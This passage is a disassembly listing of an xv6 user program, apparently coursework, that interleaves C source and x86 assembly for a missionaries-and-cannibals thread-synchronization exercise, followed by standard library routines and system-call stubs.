//lock_release(&mutex.lock);
//texit();
}
else if (numMissionaries == 1 && numCannibals == 1) {
1173: a1 bc 21 00 00 mov 0x21bc,%eax
1178: 83 f8 01 cmp $0x1,%eax
117b: 0f 85 e0 00 00 00 jne 1261 <MissionaryArrives+0x1d6>
1181: a1 c0 21 00 00 mov 0x21c0,%eax
1186: 83 f8 01 cmp $0x1,%eax
1189: 0f 85 d2 00 00 00 jne 1261 <MissionaryArrives+0x1d6>
//lock_acquire(&mutex.lock);
numMissionaries++; //for num of miss in boat.
118f: a1 bc 21 00 00 mov 0x21bc,%eax
1194: 83 c0 01 add $0x1,%eax
1197: a3 bc 21 00 00 mov %eax,0x21bc
printf(1,"Number of missionaries arrived: %d.\n",numMissionaries);
119c: a1 bc 21 00 00 mov 0x21bc,%eax
11a1: 89 44 24 08 mov %eax,0x8(%esp)
11a5: c7 44 24 04 5c 20 00 movl $0x205c,0x4(%esp)
11ac: 00
11ad: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11b4: e8 20 07 00 00 call 18d9 <printf>
//sem_signal(&M);
//sem_signal(&C);
printf(1,"Number of missionaries on boat: %d.\n",numMissionaries);
11b9: a1 bc 21 00 00 mov 0x21bc,%eax
11be: 89 44 24 08 mov %eax,0x8(%esp)
11c2: c7 44 24 04 84 20 00 movl $0x2084,0x4(%esp)
11c9: 00
11ca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11d1: e8 03 07 00 00 call 18d9 <printf>
printf(1,"Number of cannibals on boat: %d.\n",1);
11d6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
11dd: 00
11de: c7 44 24 04 ac 20 00 movl $0x20ac,0x4(%esp)
11e5: 00
11e6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11ed: e8 e7 06 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
RowBoat();
11f2: e8 a8 02 00 00 call 149f <RowBoat>
//lock_acquire(&mutex.lock);
numMissionaries = numMissionaries - 2;
11f7: a1 bc 21 00 00 mov 0x21bc,%eax
11fc: 83 e8 02 sub $0x2,%eax
11ff: a3 bc 21 00 00 mov %eax,0x21bc
numCannibals--;
1204: a1 c0 21 00 00 mov 0x21c0,%eax
1209: 83 e8 01 sub $0x1,%eax
120c: a3 c0 21 00 00 mov %eax,0x21c0
printf(1,"Number of missionaries waiting: %d.\n",numMissionaries);
1211: a1 bc 21 00 00 mov 0x21bc,%eax
1216: 89 44 24 08 mov %eax,0x8(%esp)
121a: c7 44 24 04 d0 20 00 movl $0x20d0,0x4(%esp)
1221: 00
1222: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1229: e8 ab 06 00 00 call 18d9 <printf>
printf(1,"Number of cannibals waiting: %d.\n",numCannibals);
122e: a1 c0 21 00 00 mov 0x21c0,%eax
1233: 89 44 24 08 mov %eax,0x8(%esp)
1237: c7 44 24 04 f8 20 00 movl $0x20f8,0x4(%esp)
123e: 00
123f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1246: e8 8e 06 00 00 call 18d9 <printf>
printf(1,"==============================\n");
124b: c7 44 24 04 1c 21 00 movl $0x211c,0x4(%esp)
1252: 00
1253: c7 04 24 01 00 00 00 movl $0x1,(%esp)
125a: e8 7a 06 00 00 call 18d9 <printf>
printf(1,"Number of cannibals waiting: %d.\n",numCannibals);
printf(1,"==============================\n");
//lock_release(&mutex.lock);
//texit();
}
else if (numMissionaries == 1 && numCannibals == 1) {
125f: eb 2a jmp 128b <MissionaryArrives+0x200>
//texit();
}
else {
//lock_acquire(&mutex.lock);
numMissionaries++;
1261: a1 bc 21 00 00 mov 0x21bc,%eax
1266: 83 c0 01 add $0x1,%eax
1269: a3 bc 21 00 00 mov %eax,0x21bc
printf(1,"Number of missionaries arrived: %d.\n",numMissionaries);
126e: a1 bc 21 00 00 mov 0x21bc,%eax
1273: 89 44 24 08 mov %eax,0x8(%esp)
1277: c7 44 24 04 5c 20 00 movl $0x205c,0x4(%esp)
127e: 00
127f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1286: e8 4e 06 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
//texit();
}
lock_release(&mutex.lock);
128b: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
1292: e8 50 0a 00 00 call 1ce7 <lock_release>
texit();
1297: e8 44 05 00 00 call 17e0 <texit>
0000129c <CannibalArrives>:
}
void CannibalArrives(void *arg) {
129c: 55 push %ebp
129d: 89 e5 mov %esp,%ebp
129f: 83 ec 18 sub $0x18,%esp
lock_acquire(&mutex.lock);
12a2: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
12a9: e8 1a 0a 00 00 call 1cc8 <lock_acquire>
if(numCannibals == 2)
12ae: a1 c0 21 00 00 mov 0x21c0,%eax
12b3: 83 f8 02 cmp $0x2,%eax
12b6: 0f 85 c8 00 00 00 jne 1384 <CannibalArrives+0xe8>
{
//lock_acquire(&mutex.lock);
numCannibals++; //for num of can in boat.
12bc: a1 c0 21 00 00 mov 0x21c0,%eax
12c1: 83 c0 01 add $0x1,%eax
12c4: a3 c0 21 00 00 mov %eax,0x21c0
printf(1,"Number of cannibals arrived: %d.\n",numCannibals);
12c9: a1 c0 21 00 00 mov 0x21c0,%eax
12ce: 89 44 24 08 mov %eax,0x8(%esp)
12d2: c7 44 24 04 3c 21 00 movl $0x213c,0x4(%esp)
12d9: 00
12da: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12e1: e8 f3 05 00 00 call 18d9 <printf>
printf(1, "Number of cannibals on boat: %d.\n",numCannibals);
12e6: a1 c0 21 00 00 mov 0x21c0,%eax
12eb: 89 44 24 08 mov %eax,0x8(%esp)
12ef: c7 44 24 04 ac 20 00 movl $0x20ac,0x4(%esp)
12f6: 00
12f7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12fe: e8 d6 05 00 00 call 18d9 <printf>
printf(1, "Number of missionaries on boat: %d.\n",0);
1303: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
130a: 00
130b: c7 44 24 04 84 20 00 movl $0x2084,0x4(%esp)
1312: 00
1313: c7 04 24 01 00 00 00 movl $0x1,(%esp)
131a: e8 ba 05 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
//sem_signal(&C);
//sem_signal(&C);
RowBoat();
131f: e8 7b 01 00 00 call 149f <RowBoat>
//lock_acquire(&mutex.lock);
numCannibals = numCannibals -3;
1324: a1 c0 21 00 00 mov 0x21c0,%eax
1329: 83 e8 03 sub $0x3,%eax
132c: a3 c0 21 00 00 mov %eax,0x21c0
printf(1,"Number of missionaries waiting: %d.\n",numMissionaries);
1331: a1 bc 21 00 00 mov 0x21bc,%eax
1336: 89 44 24 08 mov %eax,0x8(%esp)
133a: c7 44 24 04 d0 20 00 movl $0x20d0,0x4(%esp)
1341: 00
1342: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1349: e8 8b 05 00 00 call 18d9 <printf>
printf(1,"Number of cannibals waiting: %d.\n",numCannibals);
134e: a1 c0 21 00 00 mov 0x21c0,%eax
1353: 89 44 24 08 mov %eax,0x8(%esp)
1357: c7 44 24 04 f8 20 00 movl $0x20f8,0x4(%esp)
135e: 00
135f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1366: e8 6e 05 00 00 call 18d9 <printf>
printf(1,"==============================\n");
136b: c7 44 24 04 1c 21 00 movl $0x211c,0x4(%esp)
1372: 00
1373: c7 04 24 01 00 00 00 movl $0x1,(%esp)
137a: e8 5a 05 00 00 call 18d9 <printf>
137f: e9 0a 01 00 00 jmp 148e <CannibalArrives+0x1f2>
//lock_release(&mutex.lock);
//texit();
}
else if(numMissionaries == 2) {
1384: a1 bc 21 00 00 mov 0x21bc,%eax
1389: 83 f8 02 cmp $0x2,%eax
138c: 0f 85 d2 00 00 00 jne 1464 <CannibalArrives+0x1c8>
//lock_acquire(&mutex.lock);
numCannibals++; //for num of can in boat.
1392: a1 c0 21 00 00 mov 0x21c0,%eax
1397: 83 c0 01 add $0x1,%eax
139a: a3 c0 21 00 00 mov %eax,0x21c0
printf(1,"Number of cannibals arrived: %d.\n",numCannibals);
139f: a1 c0 21 00 00 mov 0x21c0,%eax
13a4: 89 44 24 08 mov %eax,0x8(%esp)
13a8: c7 44 24 04 3c 21 00 movl $0x213c,0x4(%esp)
13af: 00
13b0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13b7: e8 1d 05 00 00 call 18d9 <printf>
printf(1, "Number of cannibals on boat: %d.\n",numCannibals);
13bc: a1 c0 21 00 00 mov 0x21c0,%eax
13c1: 89 44 24 08 mov %eax,0x8(%esp)
13c5: c7 44 24 04 ac 20 00 movl $0x20ac,0x4(%esp)
13cc: 00
13cd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13d4: e8 00 05 00 00 call 18d9 <printf>
printf(1, "Number of missionaries on boat: %d.\n",2);
13d9: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
13e0: 00
13e1: c7 44 24 04 84 20 00 movl $0x2084,0x4(%esp)
13e8: 00
13e9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13f0: e8 e4 04 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
//sem_signal(&M);
//sem_signal(&M);
RowBoat();
13f5: e8 a5 00 00 00 call 149f <RowBoat>
//lock_acquire(&mutex.lock);
numCannibals--;
13fa: a1 c0 21 00 00 mov 0x21c0,%eax
13ff: 83 e8 01 sub $0x1,%eax
1402: a3 c0 21 00 00 mov %eax,0x21c0
numMissionaries = numMissionaries -2;
1407: a1 bc 21 00 00 mov 0x21bc,%eax
140c: 83 e8 02 sub $0x2,%eax
140f: a3 bc 21 00 00 mov %eax,0x21bc
printf(1,"Number of missionaries waiting: %d.\n",numMissionaries);
1414: a1 bc 21 00 00 mov 0x21bc,%eax
1419: 89 44 24 08 mov %eax,0x8(%esp)
141d: c7 44 24 04 d0 20 00 movl $0x20d0,0x4(%esp)
1424: 00
1425: c7 04 24 01 00 00 00 movl $0x1,(%esp)
142c: e8 a8 04 00 00 call 18d9 <printf>
printf(1,"Number of cannibals waiting: %d.\n",numCannibals);
1431: a1 c0 21 00 00 mov 0x21c0,%eax
1436: 89 44 24 08 mov %eax,0x8(%esp)
143a: c7 44 24 04 f8 20 00 movl $0x20f8,0x4(%esp)
1441: 00
1442: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1449: e8 8b 04 00 00 call 18d9 <printf>
printf(1,"==============================\n");
144e: c7 44 24 04 1c 21 00 movl $0x211c,0x4(%esp)
1455: 00
1456: c7 04 24 01 00 00 00 movl $0x1,(%esp)
145d: e8 77 04 00 00 call 18d9 <printf>
1462: eb 2a jmp 148e <CannibalArrives+0x1f2>
//lock_release(&mutex.lock);
//texit();
}
else {
//lock_acquire(&mutex.lock);
numCannibals++;
1464: a1 c0 21 00 00 mov 0x21c0,%eax
1469: 83 c0 01 add $0x1,%eax
146c: a3 c0 21 00 00 mov %eax,0x21c0
printf(1, "Number of cannibals arrived: %d.\n",numCannibals);
1471: a1 c0 21 00 00 mov 0x21c0,%eax
1476: 89 44 24 08 mov %eax,0x8(%esp)
147a: c7 44 24 04 3c 21 00 movl $0x213c,0x4(%esp)
1481: 00
1482: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1489: e8 4b 04 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
//texit();
}
lock_release(&mutex.lock);
148e: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
1495: e8 4d 08 00 00 call 1ce7 <lock_release>
texit();
149a: e8 41 03 00 00 call 17e0 <texit>
0000149f <RowBoat>:
}
void RowBoat() {
149f: 55 push %ebp
14a0: 89 e5 mov %esp,%ebp
14a2: 83 ec 18 sub $0x18,%esp
//lock_acquire(&mutex.lock);
//printf(1,"Number of cannibals in boat: %d.\n",numCannibals);
//printf(1,"Number of missionaries in boat: %d.\n",numMissionaries);
numBoat++;
14a5: a1 c4 21 00 00 mov 0x21c4,%eax
14aa: 83 c0 01 add $0x1,%eax
14ad: a3 c4 21 00 00 mov %eax,0x21c4
printf(1,"Rowing boat: %d.\n",numBoat);
14b2: a1 c4 21 00 00 mov 0x21c4,%eax
14b7: 89 44 24 08 mov %eax,0x8(%esp)
14bb: c7 44 24 04 5e 21 00 movl $0x215e,0x4(%esp)
14c2: 00
14c3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14ca: e8 0a 04 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
}
14cf: c9 leave
14d0: c3 ret
14d1: 90 nop
14d2: 90 nop
14d3: 90 nop
000014d4 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
14d4: 55 push %ebp
14d5: 89 e5 mov %esp,%ebp
14d7: 57 push %edi
14d8: 53 push %ebx
asm volatile("cld; rep stosb" :
14d9: 8b 4d 08 mov 0x8(%ebp),%ecx
14dc: 8b 55 10 mov 0x10(%ebp),%edx
14df: 8b 45 0c mov 0xc(%ebp),%eax
14e2: 89 cb mov %ecx,%ebx
14e4: 89 df mov %ebx,%edi
14e6: 89 d1 mov %edx,%ecx
14e8: fc cld
14e9: f3 aa rep stos %al,%es:(%edi)
14eb: 89 ca mov %ecx,%edx
14ed: 89 fb mov %edi,%ebx
14ef: 89 5d 08 mov %ebx,0x8(%ebp)
14f2: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
14f5: 5b pop %ebx
14f6: 5f pop %edi
14f7: 5d pop %ebp
14f8: c3 ret
000014f9 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
14f9: 55 push %ebp
14fa: 89 e5 mov %esp,%ebp
14fc: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
14ff: 8b 45 08 mov 0x8(%ebp),%eax
1502: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1505: 8b 45 0c mov 0xc(%ebp),%eax
1508: 0f b6 10 movzbl (%eax),%edx
150b: 8b 45 08 mov 0x8(%ebp),%eax
150e: 88 10 mov %dl,(%eax)
1510: 8b 45 08 mov 0x8(%ebp),%eax
1513: 0f b6 00 movzbl (%eax),%eax
1516: 84 c0 test %al,%al
1518: 0f 95 c0 setne %al
151b: 83 45 08 01 addl $0x1,0x8(%ebp)
151f: 83 45 0c 01 addl $0x1,0xc(%ebp)
1523: 84 c0 test %al,%al
1525: 75 de jne 1505 <strcpy+0xc>
;
return os;
1527: 8b 45 fc mov -0x4(%ebp),%eax
}
152a: c9 leave
152b: c3 ret
0000152c <strcmp>:
int
strcmp(const char *p, const char *q)
{
152c: 55 push %ebp
152d: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
152f: eb 08 jmp 1539 <strcmp+0xd>
p++, q++;
1531: 83 45 08 01 addl $0x1,0x8(%ebp)
1535: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1539: 8b 45 08 mov 0x8(%ebp),%eax
153c: 0f b6 00 movzbl (%eax),%eax
153f: 84 c0 test %al,%al
1541: 74 10 je 1553 <strcmp+0x27>
1543: 8b 45 08 mov 0x8(%ebp),%eax
1546: 0f b6 10 movzbl (%eax),%edx
1549: 8b 45 0c mov 0xc(%ebp),%eax
154c: 0f b6 00 movzbl (%eax),%eax
154f: 38 c2 cmp %al,%dl
1551: 74 de je 1531 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1553: 8b 45 08 mov 0x8(%ebp),%eax
1556: 0f b6 00 movzbl (%eax),%eax
1559: 0f b6 d0 movzbl %al,%edx
155c: 8b 45 0c mov 0xc(%ebp),%eax
155f: 0f b6 00 movzbl (%eax),%eax
1562: 0f b6 c0 movzbl %al,%eax
1565: 89 d1 mov %edx,%ecx
1567: 29 c1 sub %eax,%ecx
1569: 89 c8 mov %ecx,%eax
}
156b: 5d pop %ebp
156c: c3 ret
0000156d <strlen>:
uint
strlen(char *s)
{
156d: 55 push %ebp
156e: 89 e5 mov %esp,%ebp
1570: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1573: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
157a: eb 04 jmp 1580 <strlen+0x13>
157c: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1580: 8b 45 fc mov -0x4(%ebp),%eax
1583: 03 45 08 add 0x8(%ebp),%eax
1586: 0f b6 00 movzbl (%eax),%eax
1589: 84 c0 test %al,%al
158b: 75 ef jne 157c <strlen+0xf>
;
return n;
158d: 8b 45 fc mov -0x4(%ebp),%eax
}
1590: c9 leave
1591: c3 ret
00001592 <memset>:
void*
memset(void *dst, int c, uint n)
{
1592: 55 push %ebp
1593: 89 e5 mov %esp,%ebp
1595: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1598: 8b 45 10 mov 0x10(%ebp),%eax
159b: 89 44 24 08 mov %eax,0x8(%esp)
159f: 8b 45 0c mov 0xc(%ebp),%eax
15a2: 89 44 24 04 mov %eax,0x4(%esp)
15a6: 8b 45 08 mov 0x8(%ebp),%eax
15a9: 89 04 24 mov %eax,(%esp)
15ac: e8 23 ff ff ff call 14d4 <stosb>
return dst;
15b1: 8b 45 08 mov 0x8(%ebp),%eax
}
15b4: c9 leave
15b5: c3 ret
000015b6 <strchr>:
char*
strchr(const char *s, char c)
{
15b6: 55 push %ebp
15b7: 89 e5 mov %esp,%ebp
15b9: 83 ec 04 sub $0x4,%esp
15bc: 8b 45 0c mov 0xc(%ebp),%eax
15bf: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
15c2: eb 14 jmp 15d8 <strchr+0x22>
if(*s == c)
15c4: 8b 45 08 mov 0x8(%ebp),%eax
15c7: 0f b6 00 movzbl (%eax),%eax
15ca: 3a 45 fc cmp -0x4(%ebp),%al
15cd: 75 05 jne 15d4 <strchr+0x1e>
return (char*)s;
15cf: 8b 45 08 mov 0x8(%ebp),%eax
15d2: eb 13 jmp 15e7 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
15d4: 83 45 08 01 addl $0x1,0x8(%ebp)
15d8: 8b 45 08 mov 0x8(%ebp),%eax
15db: 0f b6 00 movzbl (%eax),%eax
15de: 84 c0 test %al,%al
15e0: 75 e2 jne 15c4 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
15e2: b8 00 00 00 00 mov $0x0,%eax
}
15e7: c9 leave
15e8: c3 ret
000015e9 <gets>:
char*
gets(char *buf, int max)
{
15e9: 55 push %ebp
15ea: 89 e5 mov %esp,%ebp
15ec: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
15ef: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
15f6: eb 44 jmp 163c <gets+0x53>
cc = read(0, &c, 1);
15f8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
15ff: 00
1600: 8d 45 ef lea -0x11(%ebp),%eax
1603: 89 44 24 04 mov %eax,0x4(%esp)
1607: c7 04 24 00 00 00 00 movl $0x0,(%esp)
160e: e8 3d 01 00 00 call 1750 <read>
1613: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
1616: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
161a: 7e 2d jle 1649 <gets+0x60>
break;
buf[i++] = c;
161c: 8b 45 f0 mov -0x10(%ebp),%eax
161f: 03 45 08 add 0x8(%ebp),%eax
1622: 0f b6 55 ef movzbl -0x11(%ebp),%edx
1626: 88 10 mov %dl,(%eax)
1628: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
162c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1630: 3c 0a cmp $0xa,%al
1632: 74 16 je 164a <gets+0x61>
1634: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1638: 3c 0d cmp $0xd,%al
163a: 74 0e je 164a <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
163c: 8b 45 f0 mov -0x10(%ebp),%eax
163f: 83 c0 01 add $0x1,%eax
1642: 3b 45 0c cmp 0xc(%ebp),%eax
1645: 7c b1 jl 15f8 <gets+0xf>
1647: eb 01 jmp 164a <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
1649: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
164a: 8b 45 f0 mov -0x10(%ebp),%eax
164d: 03 45 08 add 0x8(%ebp),%eax
1650: c6 00 00 movb $0x0,(%eax)
return buf;
1653: 8b 45 08 mov 0x8(%ebp),%eax
}
1656: c9 leave
1657: c3 ret
00001658 <stat>:
int
stat(char *n, struct stat *st)
{
1658: 55 push %ebp
1659: 89 e5 mov %esp,%ebp
165b: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
165e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1665: 00
1666: 8b 45 08 mov 0x8(%ebp),%eax
1669: 89 04 24 mov %eax,(%esp)
166c: e8 07 01 00 00 call 1778 <open>
1671: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
1674: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1678: 79 07 jns 1681 <stat+0x29>
return -1;
167a: b8 ff ff ff ff mov $0xffffffff,%eax
167f: eb 23 jmp 16a4 <stat+0x4c>
r = fstat(fd, st);
1681: 8b 45 0c mov 0xc(%ebp),%eax
1684: 89 44 24 04 mov %eax,0x4(%esp)
1688: 8b 45 f0 mov -0x10(%ebp),%eax
168b: 89 04 24 mov %eax,(%esp)
168e: e8 fd 00 00 00 call 1790 <fstat>
1693: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
1696: 8b 45 f0 mov -0x10(%ebp),%eax
1699: 89 04 24 mov %eax,(%esp)
169c: e8 bf 00 00 00 call 1760 <close>
return r;
16a1: 8b 45 f4 mov -0xc(%ebp),%eax
}
16a4: c9 leave
16a5: c3 ret
000016a6 <atoi>:
int
atoi(const char *s)
{
16a6: 55 push %ebp
16a7: 89 e5 mov %esp,%ebp
16a9: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
16ac: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
16b3: eb 24 jmp 16d9 <atoi+0x33>
n = n*10 + *s++ - '0';
16b5: 8b 55 fc mov -0x4(%ebp),%edx
16b8: 89 d0 mov %edx,%eax
16ba: c1 e0 02 shl $0x2,%eax
16bd: 01 d0 add %edx,%eax
16bf: 01 c0 add %eax,%eax
16c1: 89 c2 mov %eax,%edx
16c3: 8b 45 08 mov 0x8(%ebp),%eax
16c6: 0f b6 00 movzbl (%eax),%eax
16c9: 0f be c0 movsbl %al,%eax
16cc: 8d 04 02 lea (%edx,%eax,1),%eax
16cf: 83 e8 30 sub $0x30,%eax
16d2: 89 45 fc mov %eax,-0x4(%ebp)
16d5: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
16d9: 8b 45 08 mov 0x8(%ebp),%eax
16dc: 0f b6 00 movzbl (%eax),%eax
16df: 3c 2f cmp $0x2f,%al
16e1: 7e 0a jle 16ed <atoi+0x47>
16e3: 8b 45 08 mov 0x8(%ebp),%eax
16e6: 0f b6 00 movzbl (%eax),%eax
16e9: 3c 39 cmp $0x39,%al
16eb: 7e c8 jle 16b5 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
16ed: 8b 45 fc mov -0x4(%ebp),%eax
}
16f0: c9 leave
16f1: c3 ret
000016f2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
16f2: 55 push %ebp
16f3: 89 e5 mov %esp,%ebp
16f5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
16f8: 8b 45 08 mov 0x8(%ebp),%eax
16fb: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
16fe: 8b 45 0c mov 0xc(%ebp),%eax
1701: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
1704: eb 13 jmp 1719 <memmove+0x27>
*dst++ = *src++;
1706: 8b 45 fc mov -0x4(%ebp),%eax
1709: 0f b6 10 movzbl (%eax),%edx
170c: 8b 45 f8 mov -0x8(%ebp),%eax
170f: 88 10 mov %dl,(%eax)
1711: 83 45 f8 01 addl $0x1,-0x8(%ebp)
1715: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1719: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
171d: 0f 9f c0 setg %al
1720: 83 6d 10 01 subl $0x1,0x10(%ebp)
1724: 84 c0 test %al,%al
1726: 75 de jne 1706 <memmove+0x14>
*dst++ = *src++;
return vdst;
1728: 8b 45 08 mov 0x8(%ebp),%eax
}
172b: c9 leave
172c: c3 ret
172d: 90 nop
172e: 90 nop
172f: 90 nop
00001730 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1730: b8 01 00 00 00 mov $0x1,%eax
1735: cd 40 int $0x40
1737: c3 ret
00001738 <exit>:
SYSCALL(exit)
1738: b8 02 00 00 00 mov $0x2,%eax
173d: cd 40 int $0x40
173f: c3 ret
00001740 <wait>:
SYSCALL(wait)
1740: b8 03 00 00 00 mov $0x3,%eax
1745: cd 40 int $0x40
1747: c3 ret
00001748 <pipe>:
SYSCALL(pipe)
1748: b8 04 00 00 00 mov $0x4,%eax
174d: cd 40 int $0x40
174f: c3 ret
00001750 <read>:
SYSCALL(read)
1750: b8 05 00 00 00 mov $0x5,%eax
1755: cd 40 int $0x40
1757: c3 ret
00001758 <write>:
SYSCALL(write)
1758: b8 10 00 00 00 mov $0x10,%eax
175d: cd 40 int $0x40
175f: c3 ret
00001760 <close>:
SYSCALL(close)
1760: b8 15 00 00 00 mov $0x15,%eax
1765: cd 40 int $0x40
1767: c3 ret
00001768 <kill>:
SYSCALL(kill)
1768: b8 06 00 00 00 mov $0x6,%eax
176d: cd 40 int $0x40
176f: c3 ret
00001770 <exec>:
SYSCALL(exec)
1770: b8 07 00 00 00 mov $0x7,%eax
1775: cd 40 int $0x40
1777: c3 ret
00001778 <open>:
SYSCALL(open)
1778: b8 0f 00 00 00 mov $0xf,%eax
177d: cd 40 int $0x40
177f: c3 ret
00001780 <mknod>:
SYSCALL(mknod)
1780: b8 11 00 00 00 mov $0x11,%eax
1785: cd 40 int $0x40
1787: c3 ret
00001788 <unlink>:
SYSCALL(unlink)
1788: b8 12 00 00 00 mov $0x12,%eax
178d: cd 40 int $0x40
178f: c3 ret
00001790 <fstat>:
SYSCALL(fstat)
1790: b8 08 00 00 00 mov $0x8,%eax
1795: cd 40 int $0x40
1797: c3 ret
00001798 <link>:
SYSCALL(link)
1798: b8 13 00 00 00 mov $0x13,%eax
179d: cd 40 int $0x40
179f: c3 ret
000017a0 <mkdir>:
SYSCALL(mkdir)
17a0: b8 14 00 00 00 mov $0x14,%eax
17a5: cd 40 int $0x40
17a7: c3 ret
000017a8 <chdir>:
SYSCALL(chdir)
17a8: b8 09 00 00 00 mov $0x9,%eax
17ad: cd 40 int $0x40
17af: c3 ret
000017b0 <dup>:
SYSCALL(dup)
17b0: b8 0a 00 00 00 mov $0xa,%eax
17b5: cd 40 int $0x40
17b7: c3 ret
000017b8 <getpid>:
SYSCALL(getpid)
17b8: b8 0b 00 00 00 mov $0xb,%eax
17bd: cd 40 int $0x40
17bf: c3 ret
000017c0 <sbrk>:
SYSCALL(sbrk)
17c0: b8 0c 00 00 00 mov $0xc,%eax
17c5: cd 40 int $0x40
17c7: c3 ret
000017c8 <sleep>:
SYSCALL(sleep)
17c8: b8 0d 00 00 00 mov $0xd,%eax
17cd: cd 40 int $0x40
17cf: c3 ret
000017d0 <uptime>:
SYSCALL(uptime)
17d0: b8 0e 00 00 00 mov $0xe,%eax
17d5: cd 40 int $0x40
17d7: c3 ret
000017d8 <clone>:
SYSCALL(clone)
17d8: b8 16 00 00 00 mov $0x16,%eax
17dd: cd 40 int $0x40
17df: c3 ret
000017e0 <texit>:
SYSCALL(texit)
17e0: b8 17 00 00 00 mov $0x17,%eax
17e5: cd 40 int $0x40
17e7: c3 ret
000017e8 <tsleep>:
SYSCALL(tsleep)
17e8: b8 18 00 00 00 mov $0x18,%eax
17ed: cd 40 int $0x40
17ef: c3 ret
000017f0 <twakeup>:
SYSCALL(twakeup)
17f0: b8 19 00 00 00 mov $0x19,%eax
17f5: cd 40 int $0x40
17f7: c3 ret
000017f8 <thread_yield>:
SYSCALL(thread_yield)
17f8: b8 1a 00 00 00 mov $0x1a,%eax
17fd: cd 40 int $0x40
17ff: c3 ret
00001800 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1800: 55 push %ebp
1801: 89 e5 mov %esp,%ebp
1803: 83 ec 28 sub $0x28,%esp
1806: 8b 45 0c mov 0xc(%ebp),%eax
1809: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
180c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1813: 00
1814: 8d 45 f4 lea -0xc(%ebp),%eax
1817: 89 44 24 04 mov %eax,0x4(%esp)
181b: 8b 45 08 mov 0x8(%ebp),%eax
181e: 89 04 24 mov %eax,(%esp)
1821: e8 32 ff ff ff call 1758 <write>
}
1826: c9 leave
1827: c3 ret
00001828 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1828: 55 push %ebp
1829: 89 e5 mov %esp,%ebp
182b: 53 push %ebx
182c: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
